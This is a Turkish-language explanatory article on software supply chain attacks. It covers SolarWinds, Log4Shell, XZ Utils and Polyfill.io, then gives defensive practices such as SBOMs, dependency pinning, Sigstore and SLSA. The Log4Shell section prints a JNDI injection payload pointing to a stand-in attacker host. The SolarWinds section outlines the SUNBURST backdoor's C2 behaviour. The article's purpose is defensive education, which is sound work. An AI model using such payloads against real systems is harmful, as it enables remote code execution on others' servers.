
Tedarik Zincirini Hedef Almak: Nihai Güven İstismarı
Neden tek bir şirketi hackleyesiniz ki, hepsinin bağımlı olduğu yazılımı hackleyebilirken? Yazılım tedarik zinciri saldırıları, kuruluşların körü körüne güvendiği araçları, kütüphaneleri ve güncelleme mekanizmalarını ele geçirir. Tedarik zincirini zehirleyerek saldırganlar, tek bir uzlaşma noktası üzerinden binlerce kurbana ulaşır.
Kavram yeni değil—ancak tedarik zinciri saldırılarının ölçeği, sofistikasyonu ve sıklığı 2020'den bu yana patlama yaşadı.
Büyük Tedarik Zinciri Saldırıları: Zaman Çizelgesi
| Year | Attack | Vector | Impact | Attribution |
|---|---|---|---|---|
| 2017 | NotPetya | M.E.Doc (Ukrainian tax software) | $10B+ damage globally | Russia (GRU) |
| 2020 | SolarWinds | Orion software update | 18,000 orgs, US government | Russia (SVR) |
| 2021 | Codecov | Bash uploader script | Thousands of CI/CD pipelines | Unknown |
| 2021 | Kaseya | VSA remote management | 1,500 businesses | REvil ransomware |
| 2021 | ua-parser-js | npm package hijack | 7M+ weekly downloads affected | Unknown |
| 2021 | Log4Shell | Log4j library vulnerability | Millions of Java applications | N/A (vulnerability) |
| 2023 | 3CX | Desktop app trojanized | 600,000+ customers exposed | North Korea (Lazarus) |
| 2024 | XZ Utils | Backdoor in compression library | Nearly all Linux distributions | Unknown (multi-year operation) |
| 2024 | Polyfill.io | CDN domain hijacked | 100,000+ websites | Chinese company acquisition |
SolarWinds: Her Şeyi Değiştiren Saldırı
Aralık 2020'de FireEye, SolarWinds'in Orion BT izleme platformunun—ABD Hazine Bakanlığı, İç Güvenlik Bakanlığı ve Fortune 500 şirketleri dahil 33.000 kuruluş tarafından kullanılan—ele geçirildiğini keşfetti.
Saldırı zaman çizelgesi:
SolarWinds Attack Timeline:
October 2019
└─ Attackers gain access to SolarWinds build system
February 2020
└─ Malicious code (SUNBURST) injected into Orion source code
March 2020
└─ Trojanized Orion update (2020.2) distributed to ~18,000 customers
March-December 2020
└─ Attackers selectively activate SUNBURST in ~100 high-value targets
└─ Lateral movement to email systems, cloud infrastructure
December 8, 2020
└─ FireEye detects the breach during their own investigation
December 13, 2020
└─ Public disclosure, emergency directives issuedSUNBURST'ın çalışma mekanizması:
SUNBURST Backdoor Architecture:
1. Trojanized DLL loaded by legitimate Orion service
2. Waits 12-14 days before activating (evades sandboxes)
3. Checks for security tools (Wireshark, process monitors)
4. DNS beaconing to avsvmcloud.com
└─ Victim identifier encoded in subdomain
└─ C2 commands returned via DNS CNAME records
5. If selected for exploitation:
└─ Switches to HTTP C2 channel
└─ Mimics legitimate Orion traffic
└─ Downloads additional payloadsSaldırının dikkat çekici yanı sabırlılığı ve hassasiyetiydi. Trojanlanmış güncellemeyi yükleyen 18.000 kuruluştan yalnızca yaklaşık 100 tanesi aktif olarak istismar edildi—saldırganlar yüksek değerli hükümet ve teknoloji hedeflerini özenle seçti.
Log4Shell: Bir Kütüphane Silaha Dönüşünce
Aralık 2021'de, neredeyse her Java uygulamasının kullandığı bir günlükleme kütüphanesi olan Apache Log4j'de kritik bir zafiyet (CVE-2021-44228) keşfedildi. Zafiyet, tek bir günlük mesajı aracılığıyla Uzaktan Kod Yürütme (RCE) sağlıyordu.
// Any user input that gets logged could trigger RCE:
logger.info("User login: " + username);
// Attacker sets username to:
// ${jndi:ldap://attacker.com/exploit}
// Log4j resolves the JNDI lookup, connecting to attacker's server
// Attacker's server returns a malicious Java class
// The class is loaded and executed on the victim's serverEtkisi sarsıcıydı:
- Etkilenenler: Apache Struts, Apache Solr, Apache Druid, Elasticsearch, Minecraft, Steam, iCloud, Twitter, Amazon, Cloudflare ve milyonlarca uygulama daha
- CVSS Puanı: 10.0 (maksimum şiddet)
- İstismar: Açıklanmasından saatler sonra kitlesel tarama ve sömürü başladı
XZ Utils Arka Kapısı: Açık Kaynak Tarihinin En Sofistike Saldırısı
Mart 2024'te Microsoft mühendisi Andres Freund, neredeyse tüm Linux dağıtımlarında bulunan bir sıkıştırma kütüphanesi olan XZ Utils'de (5.6.0 ve 5.6.1 sürümleri) bir arka kapı keşfetti. Bu arka kapı, ele geçirilmiş kütüphaneyle OpenSSH çalıştıran herhangi bir sistemde saldırgana uzaktan kod yürütme imkanı verecekti.
Sosyal mühendislik kampanyası:
XZ Utils Backdoor Timeline:
2021: "Jia Tan" (likely a pseudonym) begins contributing to XZ Utils
└─ Legitimate, helpful contributions build trust
2022: Pressure campaign on maintainer Lasse Collin
└─ Sockpuppet accounts complain about slow updates
└─ Collin is experiencing burnout and mental health issues
└─ "Jia Tan" offered as co-maintainer
2023: "Jia Tan" gains commit access and maintainer role
└─ Disables certain CI checks
└─ Introduces obfuscated test files containing backdoor payload
February 2024: XZ Utils 5.6.0 released with backdoor
└─ Backdoor hidden in binary test files
└─ Activated only during Debian/RPM package build process
└─ Hooks into OpenSSH via systemd linkage
March 29, 2024: Andres Freund notices 500ms SSH latency increase
└─ Investigates, discovers the backdoor
└─ Reports to oss-security mailing list
└─ CVE-2024-3094 assigned (CVSS 10.0)
March 30, 2024: Linux distributions roll back to XZ Utils 5.4.x
└─ Disaster narrowly avertedXZ Utils saldırısı çok yıllı bir sosyal mühendislik operasyonuydu. Saldırgan yıllarca güven inşa etti, meşru kod katkıları yaptı ve kademeli olarak projenin kontrolünü ele geçirdi. Freund'un SSH'taki yarım saniyelik gecikmeye duyduğu merak olmasaydı, arka kapı tüm büyük Linux dağıtımlarında yer alacaktı.
Polyfill.io: Bir CDN Ele Geçirildiğinde
Haziran 2024'te, 100.000'den fazla web sitesi tarafından JavaScript polyfill'leri sunmak için kullanılan polyfill.io alan adı, bir Çinli şirket (Funnull) tarafından satın alındı ve sunulan JavaScript dosyalarına zararlı kod enjekte edilmeye başlandı.
<!-- Millions of websites included this -->
<script src="https://cdn.polyfill.io/v3/polyfill.min.js"></script>
<!-- After the acquisition, this script could:
- Redirect mobile users to gambling/scam sites
- Inject malicious JavaScript into the page
- Exfiltrate data from the website visitors
-->Ders: Harici CDN'lerden yüklenen üçüncü taraf betikleri bir tedarik zinciri riskidir. Alt Kaynak Bütünlüğü (SRI) hash'leri kullanın, kritik bağımlılıkları kendi sunucunuzda barındırın ve alan adı sahipliği değişikliklerini izleyin.
Savunma Stratejileri
1. Yazılım Malzeme Listesi (SBOM)
Yazılımınızın içinde ne olduğunu bilin. SBOM, her bileşeni, kütüphaneyi ve bağımlılığı listeler:
# Generate SBOM with Syft
syft packages dir:. -o spdx-json > sbom.json
# Scan SBOM for vulnerabilities with Grype
grype sbom:sbom.json
# CycloneDX format (alternative standard)
npm sbom --sbom-format cyclonedx2. Bağımlılık Sabitleme ve Doğrulama
// package-lock.json — always commit lock files
// Use exact versions, not ranges
{
"dependencies": {
"express": "4.18.2",
"lodash": "4.17.21"
}
}# Verify npm package integrity
npm audit signatures
# Python: hash-checking mode
pip install --require-hashes -r requirements.txt3. Derleme Sistemi Güvenliği
# GitHub Actions: pin actions by SHA, not tag
steps:
# INSECURE: tag can be moved to point to malicious code
- uses: actions/checkout@v4
# SECURE: SHA is immutable
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae114. Sigstore: Kriptografik Tedarik Zinciri Doğrulaması
Sigstore açık kaynak projeleri için ücretsiz kod imzalama hizmeti sunar:
# Sign a container image
cosign sign --key cosign.key ghcr.io/myorg/myapp:v1.0
# Verify a container image
cosign verify --key cosign.pub ghcr.io/myorg/myapp:v1.0Tedarik Zinciri Güvenlik Çerçevesi
| Layer | Action | Tools |
|---|---|---|
| Source code | Code review, signed commits | GitHub, GitLab, GPG |
| Dependencies | SBOM, vulnerability scanning, lock files | Snyk, Grype, Dependabot |
| Build | Reproducible builds, isolated environments | SLSA, GitHub Actions, Sigstore |
| Distribution | Signed packages, verified registries | Sigstore, npm provenance |
| Deployment | Image scanning, admission control | Trivy, OPA Gatekeeper |
| Runtime | Behavioral monitoring, SBOM-based alerting | Falco, Sysdig |
SLSA Çerçevesi (Yazılım Yapıları için Tedarik Zinciri Seviyeleri)
SLSA ("salsa" olarak telaffuz edilir), Google'dan gelen ve tedarik zinciri bütünlüğü için olgunluk seviyelerini tanımlayan bir güvenlik çerçevesidir:
| Level | Requirements | Protects Against |
|---|---|---|
| SLSA 1 | Build process documented | Ad-hoc scripts |
| SLSA 2 | Hosted build service, signed provenance | Compromised build process |
| SLSA 3 | Hardened build platform, non-falsifiable provenance | Compromised build platform |
| SLSA 4 | Two-person review, hermetic builds | Insider threats |
Çıkarılan Dersler
- Güven bir zafiyettir: Her bağımlılık bir saldırı yüzeyidir. Bağımlılıkları minimize edin, dahil ettiklerinizi denetleyin
- Güvenme, doğrula: Kilit dosyaları, SRI hash'leri, imza doğrulaması ve SBOM kullanın
- Tedarik zincirini izleyin: Bakımcı değişiklikleri, şüpheli güncellemeler ve CVE'leri takip edin
- Derlemeyi güvence altına alın: CI/CD iş hattınız yüksek değerli bir hedeftir. Üretim ortamı gibi davranın
- Uzlaşmaya hazır olun: Tedarik zinciri saldırıları için bir olay müdahale planı hazırlayın
Yazılım tedarik zinciri, siber güvenliğin yeni cephe hattıdır. XZ Utils'teki kıl payı atlatılan felaketin gösterdiği gibi, en temel açık kaynak projeleri bile sabırlı ve sofistike saldırganlar tarafından hedef alınabiliyor.
Kaynaklar: SLSA Framework, Sigstore, NIST SSDF, OpenSSF Scorecard


